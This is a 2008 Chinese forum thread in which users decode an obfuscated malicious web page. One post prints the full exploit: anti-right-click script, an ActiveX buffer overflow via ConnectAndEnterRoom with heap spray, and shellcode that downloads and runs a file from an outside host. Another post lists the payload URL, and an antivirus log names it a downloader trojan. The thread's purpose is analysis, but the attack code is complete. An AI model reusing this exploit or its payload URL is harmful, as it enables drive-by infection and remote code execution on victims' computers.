高手来解

显示全部楼层 · 发表于 2008-2-12 23:18:26

又是这个东西.....

显示全部楼层 · 发表于 2008-2-12 23:22:05

大家太有才了

显示全部楼层 · 发表于 2008-2-12 23:23:38

额~~是可以复制的，有时显示不完整倒是真的

阿米有教程怎么偶没有看到

显示全部楼层 · 发表于 2008-2-12 23:28:29

把document.write(w)改成document.getElementById('text').value=w,然后在<body></body>之间加入建立一个textbox的语句，textbox的name就是text，然后保存成htm，运行，就看到代码在textbox里了

PS，那个弹出的对话窗怎么复制的。。。

显示全部楼层 · 发表于 2008-2-12 23:28:49

因为不可选择还以为不能复制呢，原来是可以的啊

现在明白了，感谢楼上各位的指点。

显示全部楼层 · 发表于 2008-2-12 23:29:34

lz.gif
全部都一样的木马

<script language=javascript>bR17=395;if(document.all){function _dm(){return false};function _mdm(){document.oncontextmenu=_dm;setTimeout("_mdm()",800)};_mdm();}document.oncontextmenu=new Function("return false");function _ndm(e){if(document.layers||window.sidebar){if(e.which!=1)return false;}};if(document.layers){document.captureEvents(Event.MOUSEDOWN);document.onmousedown=_ndm;}else{document.onmouseup=_ndm;};qK85=8106;gI50=2107;function _dws(){window.status = " ";setTimeout("_dws()",100);};_dws();nX64=1535;mQ21=8967;function _dds(){if(document.all){document.onselectstart=function (){return false};setTimeout("_dds()",700)}};_dds();lD80=110;nH92=5251;dR98=8109;pX45=9249;oK5=392;eI70=4393;uS75=7251;;_licensed_to_="huyufeng";</script><html>
<object classid="clsid:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69" id='target'></object>
<body>
<SCRIPT language="javascript">
var shellcode = unescape("%u9090"+"%u9090"+
"%uefe9%u0000%u5a00%ua164"+"%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b"+"%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000"+"%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7"+"%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804"+"%u0065"+"%u3300"+"%u50c0"+"%u5350"+"%u5056"+"%u57ff"+"%u8bfc" +
"%u6adc%u5300%u57ff"+"%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0"+"%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8"+"%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578"+"%u0063"+"%u7845"+"%u7469"+"%u6854"+"%u6572"+"%u6461"+"%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041"+"%u7275%u6d6c" +
"%u6e6f"+"%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u772f%u3831" +
"%u762e%u2f67%u2e73%u7865%u8065%u0000");
</script>
<SCRIPT language="javascript">
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<300; x++) memory[x] = block +shellcode;
var buff = '';
while (buff.length < 164) buff+="A";
buff=buff+"\x0a\x0a\x0a\x0a"+buff;
ok="ok";
target.ConnectAndEnterRoom(buff,ok,ok,ok,ok,ok );
</script>
</body>
</html>

显示全部楼层 · 发表于 2008-2-12 23:35:16

有一个不一样

http://w18.vg/calc.cab

显示全部楼层 · 发表于 2008-2-12 23:40:42

自己解压出来看看是什么东西

显示全部楼层 · 发表于 2008-2-12 23:52:28

呵呵，还是S

显示全部楼层 · 发表于 2008-2-13 00:10:51

Virus or unwanted program 'TR/Dldr.Tiny.aid [TR/Dldr.Tiny.aid]'
detected in file 'C:\TDDOWNLOAD\calc.cab.td.
Action performed: Delete file

[已鉴定] 高手来解

回复 10楼 zzh161 的帖子

回复 13楼 rappar 的帖子

回复 13楼 rappar 的帖子

回复 16楼 solcroft 的帖子

回复 17楼 tanlimo 的帖子

回复 18楼 solcroft 的帖子